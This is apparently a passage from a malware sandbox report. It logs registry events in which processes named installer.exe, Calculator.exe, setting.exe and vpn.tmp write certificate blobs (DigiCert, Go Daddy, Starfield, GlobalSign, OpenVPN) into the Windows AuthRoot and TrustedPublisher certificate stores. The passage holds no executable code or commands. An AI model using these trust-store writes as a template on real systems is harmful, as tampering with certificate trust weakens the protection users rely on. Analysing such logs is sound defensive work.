e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 Calculator.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Calculator.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 setting.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A Calculator.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4 Calculator.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC setting.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 Calculator.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 0f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f Calculator.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 19000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e3620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae409000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877620000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f Calculator.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8\Blob = 0f0000000100000030000000c130bba37b8b350e89fd5ed76b4f78777feee220d3b9e729042bef6af46e8e4c1b252e32b3080c681bc9a8a1afdd0a3c0b000000010000004200000047006c006f00620061006c005300690067006e00200043006f006400650020005300690067006e0069006e006700200052006f006f007400200052003400350000006200000001000000200000007b9d553e1c92cb6e8803e137f4f287d4363757f5d44b37d52f9fca22fb97df8653000000010000001f000000301d301b060567810c010330123010060a2b0601040182373c0101030200c01400000001000000140000001f00bf46800afc7839b7a5b443d95650bbce963b1d00000001000000100000005467b0adde8d858e30ee517b1a19ecd909000000010000000c000000300a06082b060105050703030300000001000000140000004efc31460c619ecae59c1bce2c008036d94c84b8200000000100000076050000308205723082035aa00302010202107653feac75464893f5e5d74a483a4ef8300d06092a864886f70d01010c05003053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f7420523435301e170d3230303331383030303030305a170d3435303331383030303030305a3053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f742052343530820222300d06092a864886f70d01010105000382020f003082020a0282020100b62dc530dd7ae8ab903d0372b03a4b991661b2e5ffa5671d371ce57eec9383aa84f5a3439b98458ab863575d9b00880425e9f868924b82d84bc94a03f3a87f6a8f8a6127bda144d0fdf53f22c2a34f918db305b22882915dfb5988050b9706c298f82ca73324ee503a41ccf0a0b07b1d4dd2a8583896e9dff91b91bb8b102cd2c7431da20974a180af7be6330a0c596b8ebcf4ab5a977b7fae55fb84f080fe844cd7e2babdc475a16fbd61107444b29807e274abff68dc6c263ee91fe5e00487ad30d30c8d037c55b816705c24782025eb676788abba4e34986b7011de38cad4bea1c09ce1df1e0201d83be1674384b6cffc74b72f84a3bfba09373d676cb1455c1961ab4183f5ac1deb770d464773cebfbd9595ed9d2b8810fefa58e8a757e1b3cfa85ae907259b12c49e80723d93dc8c94df3b44e62680fcd2c303f08c0cd245d62ee78f989ee604ee426e677e42167162e704f960c664a1b69c81214e2bc66d689486c699747367317a91f2d48c796e7ca6bb7e466f4dc585122bcf9a224408a88537ce07615706171224c0c43173a1983557477e103a45d92da4519098a9a00737c4651aaa1c6b1677f7a797ec3f1930996f31fbea40b2e7d2c4fac9d0f050767459fa8d6d1732bef8e97e03f4e787759ad44a912c850313022b4280f2896a36cfc84ca0ce9ef8cb8dad16a7d3ded59b18a7c6923af18263f12e0e2464df0203010001a3423040300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e041604141f00bf46800afc7839b7a5b443d95650bbce963b300d06092a864886f70d01010c050003820201005e2bba749734445f764828408493ee016ee9a1b3d68025e67be4bc09913d0ffc76add7d43020bb8f60d091d61cf29cef781a2b943202c12496525202d0f3d1fcf29b396e99e11f8e43417d9a1e5bc95d9a84fc26e687f3747226ada41bd93d3b6a52a03c091e2f1e7bb333b445c7f7acb1af9360ad76aeb8b21578eb836aebffdb46ab24e5ee02fa901f59c02f5dd6b75da45c10b77253f8414eccfa781a254acafe85624361c3b437aa81d2f4d63a0fbd8d597e3047de2b6be72150335fd4679bd4b8679f3c279903ff85438e7312ca20cde861d5b166dc17d6396d0fdbcf2337a182894e1c6b3fd6a0cdaa079d3e4226aad70ceefa47bf1a527ed17581d3c98a62176d4f88a021a0263eaf6dd962301fe99828ae6e8dd58e4c726693808d2ae355c760679042565c22510fb3dc4e39ee4dddd91d7810543b6ed0976f03b51eb22373c612b29a64d0fc958524a8ffdfa1b0dc9140aedf0933abb9dd92b7f1cc91743b69eb67971b90bfe7c7a06f71bb57bfb78f5aed7a406a16cd80842d2fe102d4249443b315fc0c2b1bfd716ffccbbc75173a5e83d2c9b32f1bd59c8d7f54fe7e7ee456a387a79de1595294418f6d5bbe86959aff1a76dd40d2514a70b41f336323773fec271e59e40887ed34824a0f3ffea01dc1f56773458678f4aa29e92787c619dbc61314c33949874da097e06513f59d7756e9dab358c73af2c0cd82 Calculator.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8\Blob = 1900000001000000100000005d1b8ff2c30f63f5b536edd400f7f9b40300000001000000140000004efc31460c619ecae59c1bce2c008036d94c84b809000000010000000c000000300a06082b060105050703031d00000001000000100000005467b0adde8d858e30ee517b1a19ecd91400000001000000140000001f00bf46800afc7839b7a5b443d95650bbce963b53000000010000001f000000301d301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000007b9d553e1c92cb6e8803e137f4f287d4363757f5d44b37d52f9fca22fb97df860b000000010000004200000047006c006f00620061006c005300690067006e00200043006f006400650020005300690067006e0069006e006700200052006f006f007400200052003400350000000f0000000100000030000000c130bba37b8b350e89fd5ed76b4f78777feee220d3b9e729042bef6af46e8e4c1b252e32b3080c681bc9a8a1afdd0a3c200000000100000076050000308205723082035aa00302010202107653feac75464893f5e5d74a483a4ef8300d06092a864886f70d01010c05003053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f7420523435301e170d3230303331383030303030305a170d3435303331383030303030305a3053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f742052343530820222300d06092a864886f70d01010105000382020f003082020a0282020100b62dc530dd7ae8ab903d0372b03a4b991661b2e5ffa5671d371ce57eec9383aa84f5a3439b98458ab863575d9b00880425e9f868924b82d84bc94a03f3a87f6a8f8a6127bda144d0fdf53f22c2a34f918db305b22882915dfb5988050b9706c298f82ca73324ee503a41ccf0a0b07b1d4dd2a8583896e9dff91b91bb8b102cd2c7431da20974a180af7be6330a0c596b8ebcf4ab5a977b7fae55fb84f080fe844cd7e2babdc475a16fbd61107444b29807e274abff68dc6c263ee91fe5e00487ad30d30c8d037c55b816705c24782025eb676788abba4e34986b7011de38cad4bea1c09ce1df1e0201d83be1674384b6cffc74b72f84a3bfba09373d676cb1455c1961ab4183f5ac1deb770d464773cebfbd9595ed9d2b8810fefa58e8a757e1b3cfa85ae907259b12c49e80723d93dc8c94df3b44e62680fcd2c303f08c0cd245d62ee78f989ee604ee426e677e42167162e704f960c664a1b69c81214e2bc66d689486c699747367317a91f2d48c796e7ca6bb7e466f4dc585122bcf9a224408a88537ce07615706171224c0c43173a1983557477e103a45d92da4519098a9a00737c4651aaa1c6b1677f7a797ec3f1930996f31fbea40b2e7d2c4fac9d0f050767459fa8d6d1732bef8e97e03f4e787759ad44a912c850313022b4280f2896a36cfc84ca0ce9ef8cb8dad16a7d3ded59b18a7c6923af18263f12e0e2464df0203010001a3423040300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e041604141f00bf46800afc7839b7a5b443d95650bbce963b300d06092a864886f70d01010c050003820201005e2bba749734445f764828408493ee016ee9a1b3d68025e67be4bc09913d0ffc76add7d43020bb8f60d091d61cf29cef781a2b943202c12496525202d0f3d1fcf29b396e99e11f8e43417d9a1e5bc95d9a84fc26e687f3747226ada41bd93d3b6a52a03c091e2f1e7bb333b445c7f7acb1af9360ad76aeb8b21578eb836aebffdb46ab24e5ee02fa901f59c02f5dd6b75da45c10b77253f8414eccfa781a254acafe85624361c3b437aa81d2f4d63a0fbd8d597e3047de2b6be72150335fd4679bd4b8679f3c279903ff85438e7312ca20cde861d5b166dc17d6396d0fdbcf2337a182894e1c6b3fd6a0cdaa079d3e4226aad70ceefa47bf1a527ed17581d3c98a62176d4f88a021a0263eaf6dd962301fe99828ae6e8dd58e4c726693808d2ae355c760679042565c22510fb3dc4e39ee4dddd91d7810543b6ed0976f03b51eb22373c612b29a64d0fc958524a8ffdfa1b0dc9140aedf0933abb9dd92b7f1cc91743b69eb67971b90bfe7c7a06f71bb57bfb78f5aed7a406a16cd80842d2fe102d4249443b315fc0